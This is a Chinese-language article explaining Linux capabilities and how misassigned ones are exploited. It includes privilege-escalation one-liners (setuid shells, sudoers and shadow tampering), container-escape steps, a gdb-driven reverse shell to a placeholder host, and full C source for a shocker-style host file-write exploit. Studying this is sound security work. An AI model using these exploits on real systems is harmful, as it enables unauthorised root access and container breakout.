Linux Capabilities利用总结

前言

Linux对于权限的管理，系统权限只有root才有，对于普通用户只有一些有限的权限；而对于普通用户如果想进行一些权限以外的操作，之前主要有两种方法：一是通过sudo提权；二是通过SUID^[1]，让普通用户对设有SUID的文件具有执行权限，当用户执行此文件时，会用文件的拥有者的权限执行，比如常用的命令passwd，修改用户的密码是需要root权限的，但是普通用户却可以使用，这是因为/usr/bin/passwd被设置了SUID，该文件的拥有者是root，所以普通用户可以使用并执行。然而SUID却带来了安全隐患，因为本身需要一部分特权，但是却拥有了root的全部权限，所以为了对root权限进行更加细粒度的控制，Linux 引入了 capabilities 机制对 root 权限进行细粒度的控制，实现按需授权，从而减小系统的安全攻击面。本文主要总结 Capabilites 机制的基本概念和利用。

Linux Capabilities 是什么？

从内核 2.2 开始，Linux 将传统上与超级用户 root 关联的特权划分为不同的单元，称为Capabilites。Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在，每个单元可以独立启用和禁用。如此一来，权限检查的过程就变成了：在执行特权操作时，如果进程的有效身份不是 root，就去检查是否具有该特权操作所对应的 capabilites，并以此决定是否可以进行该特权操作。比如要向进程发送信号(kill())，就得具有 capability CAP_KILL；如果设置系统时间，就得具有 capability CAP_SYS_TIME。

Linux中的capability是可以分配给进程、二进制文件、服务和用户等的特殊属性，它们可以允许它们拥有通常保留给root级行动的特定权限，Capabilities 可以在进程执行时赋予，也可以直接从父进程继承。所以理论上如果给 nginx 可执行文件赋予了 CAP_NET_BIND_SERVICE，那么它就能以普通用户运行并监听在 80 端口上。

不同的Capabilities

线程 Capabilities

每一个线程，具有5个capabilities集合，每一个集合使用 64 位掩码来表示，显示为 16 进制格式。五种 capabilities 集合类型，分别是：

• • CapInh: Inheritable capabilities

• • CapPrm: Permitted capabilities

• • CapEff: Effective capabilities

• • CapBnd: Bounding set

• • CapAmb: Ambient capabilities set

每个集合中都包含零个或多个 capabilities。这5个集合的具体含义如下：

• • CapEff(Effective): Effective代表进程目前正在使用的所有Capabilities（这是内核用于权限检查的实际capabilities集）。对于文件capabilities来说，Effective实际上是一个单一的位，表示在运行二进制文件时，Permitted的Capabilities是否会被移到Effective集。这使得那些没有capabilities的二进制文件有可能在不发出特殊系统调用的情况下使用文件Capabilities。

• • CapPrm(Permitted): 这是一个capabilities的超集，线程可以将其添加到线程允许的或线程可继承的集合中。线程可以使用capset()系统调用来管理Capabilities。它可以从任何集合中删除任何Capabilities，但只能向其线程Effective和Inheritable添加线程允许集合中的Capabilities。因此，它不能将任何Capabilities添加到其线程允许的集合中，除非它的线程有效集合中有CAP_SETPCAP。

• • CapInh(Inheritable): 使用Inheritable集可以指定允许从父进程继承的所有Capabilities。这可以防止一个进程接收它不需要的任何Capabilities。这里需要说明一下，包含在该集合中的 capabilities 并不会自动继承给新的可执行文件，即不会添加到新线程的 Effective 集合中，它只会影响新线程的 Permitted 集合。

• • CapBnd(Bounding): Bounding 集合是 Inheritable 集合的超集，可以限制一个进程可能收到的Capabilities。在Inheritable和Permitted集中，只有存在于Bounding集中的Capabilities才被允许。

• • CapAmb(Ambient): Linux 4.3 内核新增了一个 capabilities 集合叫 Ambient ，用来弥补 Inheritable 的不足。Ambient集适用于所有没有文件Capabilities的非SUID二进制文件。它在execve()时保留了Capabilities。然而，并不是所有在Ambient集的Capabilities都会被保留，因为它们会被丢弃，以防它们不在Inheritable或Permitted集中出现。这个集合在 execve 调用时被保留。Ambient 的好处显而易见，举个例子，如果你将 CAP_NET_ADMIN 添加到当前进程的 Ambient 集合中，它便可以通过 fork() 和 execve() 调用 shell 脚本来执行网络管理任务，因为 CAP_NET_ADMIN 会自动继承下去。

要查看某个特定进程的capabilities，可以使用/proc目录下的状态文件。

对于所有正在运行的进程，capabilities信息是按线程维护的，对于文件系统中的二进制文件，它被存储在扩展属性中。

可以在/usr/include/linux/capability.h中找到定义的Capabilities。可以在cat /proc/self/status或capsh --print中找到当前进程的capabilities，在/proc/<pid>/status中找到其他用户的capabilities。

cat /proc/<pid>/status | grep Cap

# 查看当前进程的capabilities
cat /proc/$$/status | grep Cap

这是一个典型的root进程所拥有的capabilities。

• • capsh

但是这种方式获得的信息无法阅读，我们需要使用 capsh 命令把它们转义为可读的格式：

capsh --decode=0000003fffffffff

capsh也可以直接查看当前capabilitiescapsh --print 。

• • getpcaps

getpcaps工具使用capget()系统调用来查询某个特定线程的可用Capabilities。这个系统调用只需要提供PID就可以获得相关信息。查看进程的capabilities还可以通过getpcaps，然后是其进程ID（PID），也可以提供一个进程ID的列表。

getpcaps <pid>

测试一下tcpdump的Capabilities，在赋予二进制文件足够的Capabilities（cap_net_admin和cap_net_raw）来抓包后（ping在395120进程中运行）。可以看到我们给tcpdump设置的capabilities是一致的，非root用户也可以嗅探网络。

文件 Capabilities

文件的 capabilities 被保存在文件的扩展属性中。如果想修改这些属性，需要具有 CAP_SETFCAP 的 capability。文件与线程的 capabilities 共同决定了通过 execve() 运行该文件后的线程的 capabilities。

文件的 capabilities 功能，需要文件系统的支持。如果文件系统使用了 nouuid 选项进行挂载，那么文件的 capabilities 将会被忽略。

在上面的示例中我们通过 setcap 命令修改了程序文件 /usr/sbin/tcpdump 的 capabilities。在可执行文件的属性中有三个集合来保存三类 capabilities，它们分别是：

• • Permitted：在进程执行时，Permitted 集合中的 capabilites 自动被加入到进程的 Permitted 集合中。

• • Inheritable：Inheritable 集合中的 capabilites 会与进程的 Inheritable 集合执行与操作，以确定进程在执行 execve 函数后哪些 capabilites 被继承。

• • Effective：Effective 只是一个 bit。如果设置为开启，那么在执行 execve 函数后，Permitted 集合中新增的 capabilities 会自动出现在进程的 Effective 集合中。

二进制文件可以有在执行时可以使用的Capabilities。例如，有cap_net_rawcapabilites的ping二进制文件，以及设置过的tcpdump。

root@k8s-master:~# getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
root@k8s-master:~# getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

命令中的 ep 分别表示 Effective 和 Permitted 集合，+ 号表示把指定的 capabilities 添加到这些集合中，- 号表示从集合中移除(对于 Effective 来说是设置或者清除位)。

下面的命令可以用来查找已经有capabilities的二进制文件。

getcap -r / 2>/dev/null

• • 通过capsh删除Capabilities

如果我们停止tcpdump的CAP_NET_RAW那么无法再使用。

capsh --drop=cap_net_raw --print -- -c "tcpdump"

• • 移除Capabilities

可以用以下方法移除一个二进制文件的Capabilities。

setcap -r <path>

用户 Capabilities

用户也可以分配Capabilities，这意味着，由用户执行的每一个进程都能使用用户的capabilities。

分配给用户的Capabilities存储在/etc/security/capability.conf配置文件中。

环境 Capabilities

可以通过capsh --print查看当前环境的Capabilities 编译ambient.c^[2]程序，就有可能在一个提供 Capabilities 的环境中产生一个bash shell 在运行编译后的文件后获得的bash中可以发现有了新的Capabilities。

只能添加同时存在于CapPrm(Permitted)和CapInh(Inheritable)集合中的Capabilities。

具有Capabilities意识的二进制文件不会使用环境赋予的新Capabilities，但是capability低的二进制文件会使用它们，因为它们不会拒绝这些Capabilities。这使得在向二进制文件授予Capabilities的特殊环境中，capability低的二进制文件容易受到攻击。

服务 Capabilities

默认情况下，以root身份运行的服务将具有所有的capabilities，这是相当危险的。

因此，服务的配置文件允许指定希望它拥有的Capabilities，以及应该执行服务的用户，以避免以不必要的权限运行服务。 systemd通过AmbientCapabilities变量为服务提供了配置Capabilities的指令。

[Service]
User=test
AmbientCapabilities=CAP_NET_BIND_SERVICE

容器 Capabilities

Docker容器不同于虚拟机，它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间（namespaces）、内核Capabilities、CGroups（control groups）等技术进行隔离。

在大部分情况下，容器里的进程不需要以root用户运行，Docker给容器内root只授予了几个默认的Capabilities^[3]，其他的禁用。这意味着容器里的root用户权限比宿主机上真正的root用户权限要小。

实际情况用户会存在自己给容器添加特权方便操作，比如额外添加一些Capability，例如SYS_ADMIN，以及运行具有--privileged或危险功能的 Docker 容器允许特权操作。

privileged标志给了容器所有的Capabilities，而且它还解除了设备cgroup控制器强制执行的所有限制，容器可以访问主机所有device以及具有mount操作的权限。但是--privileged参数不等于只是拥有所有的Capabilities，还包括禁用Seccomp和AppArmor等安全机制、访问device。换句话说，容器可以做主机可以做的几乎所有事情。

当容器拥有特权后是可以逃逸到宿主机的，所以为了方便默认情况下Docker为容器启用了一些Capabilities，并且Kubernetes也可以给容器配置Capabilities^[4]。

容器内如果有命令capsh可以通过capsh --print查看当前的Capabilities 识别错误配置的Capabilities的最简单方法是使用枚举脚本，如LinPEAS^[5]  。

特殊情况 空Capabilities

可以给文件设置空的capability，这样或许会创建一个set-user-ID-root的程序，这将执行该程序的进程effective保存的set-user-ID改为0。如果有一个文件符合下面的条件：

1. 1. 不属于root。

2. 2. SUID/SGID位没有设置。

3. 3. capabilities设置为空。

该文件将以root运行。

# 比如如下情况
$ getcap <filename>
<filename> =ep

对tcpdump测试。

经过设置后普通用户也可以执行tcpdump。

利用 Capabilities

以下是一些常见的 Capabilites 列表：

Capability 名称	描述
CAP_CHOWN	修改文件所有者的权限
CAP_DAC_OVERRIDE	忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH	忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER	忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID	允许设置文件的 setuid 位
CAP_KILL	允许对不属于自己的进程发送信号
CAP_LINUX_IMMUTABLE	允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_NET_ADMIN	允许执行网络管理任务
CAP_NET_BIND_SERVICE	允许绑定到小于 1024 的端口
CAP_NET_RAW	允许使用原始套接字
CAP_SETGID	允许改变进程的 GID
CAP_SETFCAP	允许为文件设置任意的 capabilities
CAP_SETUID	允许改变进程的 UID
CAP_SYS_ADMIN	允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT	允许重新启动系统
CAP_SYS_CHROOT	允许使用 chroot() 系统调用
CAP_SYS_MODULE	允许插入和删除内核模块
CAP_SYS_PTRACE	允许跟踪任何进程
CAP_SYS_RAWIO	允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYSLOG	允许使用 syslog() 系统调用

利用情况主要从两个方面考虑：

• • 当二进制文件具有Capabilities。

• • 环境具有Capabilities主要是当前在容器内。

Capabilities信息收集

• • 二进制文件

# 查找/下的所有具有Capabilities的二进制文件
getcap -r / 2>/dev/null

# 查看单个二进制文件
getcap <path>

• • 环境容器内

capsh --print

以下主要列举利用意义大的一些Capabilities

CAP_SYS_ADMIN

CAP_SYS_ADMIN: 允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等 CAP_SYS_ADMIN在很大程度上是一种全面的Capabilities，它很容易导致额外的Capabilities或完全的root（通常是对所有Capabilities的访问）。CAP_SYS_ADMIN需要执行一系列的管理操作，如果在容器内执行特权操作，就很难从容器中删除。对于模仿整个系统的容器来说，保留这种Capabilities往往是必要的，而对于单独的应用程序容器来说，它的限制性更强。

当文件具有能力： 通过收集发现python具有该能力。

通过python可以修改root的密码。

通过脚本将修改过的passwd文件mount到/etc/passwd 。

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"<fake passwd 路径>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

成功root密码password登陆。

当环境具有能力： 主要为当前可能是一个容器，通过信息收集发现当前环境具有SYS_ADMIN。

• • 挂载主机

可以在容器内挂载宿主机磁盘。

fdisk -l
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/
cd /mnt
chroot ./ bash

• • 通过ssh

通过挂载，之后创建一个用户，在使用该用户ssh连接。

#Like in the example before, the first step is to moun the dosker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

除此之外还可以通过notify_on_release进行逃逸参考理解Docker容器转义^[6]  。

CAP_SYS_MODULE

CAP_SYS_MODULE: 允许插入和删除内核模块 CAP_SYS_MODULE允许进程加载和卸载任意的内核模块（init_module(2), finit_module(2) 和 delete_module(2) 系统调用）。这可能导致微不足道的权限升级和ring-0妥协。内核可以被随意修改，颠覆所有系统安全、Linux安全模块和容器系统。

当文件具有能力(内核编译参考环境部分)：

• • python：可以利用python加载内核模块。

• • kmod：可以利用该命令插入内核模块。

当环境具有能力：

• • 容器：创建内核模块，通过nc接收反弹的shell可以参考Docker容器突破:滥用SYS MODULE能力^[7]和破解 Play-with-Docker 并在主机上远程运行代码^[8]  。

当python具有该能力 默认情况下，modprobe命令检查目录中的依赖列表和映射文件/lib/modules/$(uname -r) 为了利用创建一个假的lib/modules文件夹。

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

CAP_SYS_PTRACE

CAP_SYS_PTRACE：允许跟踪任何进程 CAP_SYS_PTRACE 允许使用 ptrace(2) 和最近引入的跨内存附加系统调用，如 process_vm_readv(2) 和 process_vm_writev(2) 。如果这个Capabilities被授予，并且 ptrace(2) 系统调用本身没有被 seccomp 过滤器阻止，这将允许攻击者绕过其他 seccomp 限制，请参考 PoC 在允许 ptrace 时绕过 seccomp^[9]。

当文件具有能力：比如python时还可以参考python Capabilities cap_sys_ptrace+ep提权^[10]  。

当环境具有能力：比如在docker内时，可以通过Shellcode注入^[11]；或者当前环境具有gdb，可以从主机debug进程中调用system函数。

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'")

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH：忽略文件读及目录搜索的 DAC 访问限制。

CAP_DAC_READ_SEARCH 允许一个进程绕过文件读取和目录读取及执行的权限。虽然这被设计为用于搜索或读取文件，但它也授予进程调用open_by_handle_at(2)的权限。任何具有CAP_DAC_READ_SEARCHCapabilities的进程都可以使用open_by_handle_at(2)来获得对任何文件的访问，甚至是挂载命名空间之外的文件。传递给 open_by_handle_at(2) 的句柄被认为是使用 name_to_handle_at(2) 获取的不透明标识符。然而，这个句柄包含了敏感和可篡改的信息，如inode号码。这是Sebastian Krahmer用shocker^[12]漏洞首次在Docker容器中显示的问题。

当文件具有能力：

• • tar

在根目录递归检测cap时发现tar具有cap_dac_read_search功能。

当任何程序拥有cap_dac_read_searchCapabilities的有效集合时，这意味着它可以读取任何文件或对目录执行任何可执行的权限。该程序不能在目录中创建任何文件或修改现有文件，因为它需要写入权限，而这种Capabilities没有提供这种权限。

因为在这种情况下，tar有这个权限。你不能目录升级权限，但如果你幸运的话，在取回影子文件后破解哈希密码。你可以通过包括/etc/shadow文件来执行一个简单的tar归档，然后再提取它。

当前可以利用tar具有的能力，将相关敏感文件打个包，然后再拿出来。

• • python

利用python列出/root下的所有文件：

import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)

也可以读取指定文件如/etc/shadow 。

python -c 'print(open("/etc/shadow", "r").read())'

当环境具有能力： 参考该文章利用shocker.c，利用需要找到一个指向安装在主机上的东西的指针，文章使用/.dockerinit也可以修改为/etc/hostname该文件必须是挂载的主机中的文件，比如k8s中kube-proxy就将/etc/hostname该文件挂载。

Docker已经通过放弃CAP_DAC_READ_SEARCH（以及使用seccomp阻止对open_by_handle_at的访问）来缓解这个问题。

CAP_DAC_OVERRIDE

CAP_DAC_OVERRIDE: 忽略文件的 DAC 访问限制，可以写入任何文件 可以用来写文件，比如vim有该能力，可以修改sudo配置文件提权。

当文件具有能力：

• • vim

当vim具有该能力，可以修改如passwd 、sudoers或shadow等。

修改相关文件进行利用。

• • python

当python具有该能力，同样可以修改一些敏感文件提权。

file=open("/etc/sudoers","a")
file.write("username ALL=(ALL) NOPASSWD:ALL")
file.close()

当环境具有能力： 想要逃逸还需要具有能力CAP_DAC_READ_SEARCH可以读取主机文件，对shocker.c进行修改，改为对主机写入任意文件。

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "\n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};\n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'\n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %s\n", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!\n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!\n");
  close(fd2);
  close(fd1);
  return 0;
}

CAP_CHOWN

CAP_CHOWN: 可以改变任何文件的所有权。

当文件具有能力： 假设python二进制文件具有这种能力，可以改变/etc/shadow的所有者，改变root的密码以此提权。python具有CAP_CHOWN，当前/etc/shadow还是root的。

通过利用python所有者已经变更。

或者ruby可以通过如下命令。

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

CAP_FOWNER：更改任何文件的权限 类似CAP_CHOWN，python具有这种能力，可以改变/etc/shadow的所有者，改变root的密码以此提权。

python -c 'import os;os.chmod("/etc/shadow",0666)'

CAP_SETUID

CAP_SETUID：允许设置所创建进程的有效用户ID。

当文件具有能力： 具有该能力，可以设置uid为0后，调用bash达到提权。

• • python

• • perl

• • tar

比如利用python：

# 方法一
import os
os.setuid(0)
os.system("/bin/bash")
python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")'

# 方法二
import os
import prctl
# 在集合effective中添加capability
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

CAP_SETGID：允许设置所创建进程的有效组ID。

当文件具有能力： 可以通过覆盖文件来提权，找到组可以操作的文件，因为可以设置为任何组。

# 查找组可写的每个文件
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
# 在/etc中找到每一个maxpath为1的组可写文件
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
# 在/etc中查找每一个maxpath为1的组可读文件
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

找到一个文件，就可以滥用（通过读或写）升级权限，得到一个shell。

import os
os.setgid(42)
os.system("/bin/bash")

shadow的组id为42，可以通过python创建一个shell。

创建的进程被设置组id为shadow，可以cat /etc/shadow 。

主要可以进行如下操作：

• • 将用户和密码添加到/etc/passwd。

• • 在/etc/shadow中更改密码。

• • 在/etc/sudoers中将用户添加到sudoers。

• • 通过docker套接字通信利用docker，一般在/run/docker.sock或/var/run/docker.sock 。

CAP_SETFCAP

CAP_SETFCAP：可以给文件和进程设置能力。 

当文件具有能力： 当python具有该能力可以通过脚本提权到rootpython3.8 setfcap.py /usr/bin/python3.8 。

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
    print (cap + " was successfully added to " + path)

通过给python添加新能力，新能力将直接覆盖原本的能力，如果想保留可以通过在原有的基础上添加比如cap_setuid,cap_setfcap+ep 。

当环境具有能力： 该能力是默认添加给docker进程的能力，该能力允许给其他二进制的文件添加能力，所以可以给其他二进制文件添加可以用来逃逸的能力。

参考资料

• • https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

• • https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

• • https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

• • https://man7.org/linux/man-pages/man7/capabilities.7.html

• • https://s3hh.wordpress.com/2015/07/25/ambient-capabilities/

• • https://pierrchen.blogspot.com/2018/05/container-deep-dive-3-linux-capabilities.html

• • https://www.onitroad.com/jc/linux/man-pages/linux/man7/capabilities.7.html

引用链接

[1] SUID: https://en.wikipedia.org/wiki/Setuid
[2] ambient.c: https://s3hh.wordpress.com/2015/07/25/ambient-capabilities/
[3] 默认的Capabilities: https://github.com/moby/moby/blob/master/oci/caps/defaults.go
[4] 容器配置Capabilities: https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container
[5] LinPEAS: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
[6] 理解Docker容器转义: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[7] Docker容器突破:滥用SYS MODULE能力: https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
[8] 破解 Play-with-Docker 并在主机上远程运行代码: https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host
[9] 在允许 ptrace 时绕过 seccomp: https://gist.github.com/thejh/8346f47e359adecd1d53
[10] python Capabilities cap_sys_ptrace+ep提权: https://www.cnblogs.com/zlgxzswjy/p/15185591.html
[11] Shellcode注入: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
[12] shocker: https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3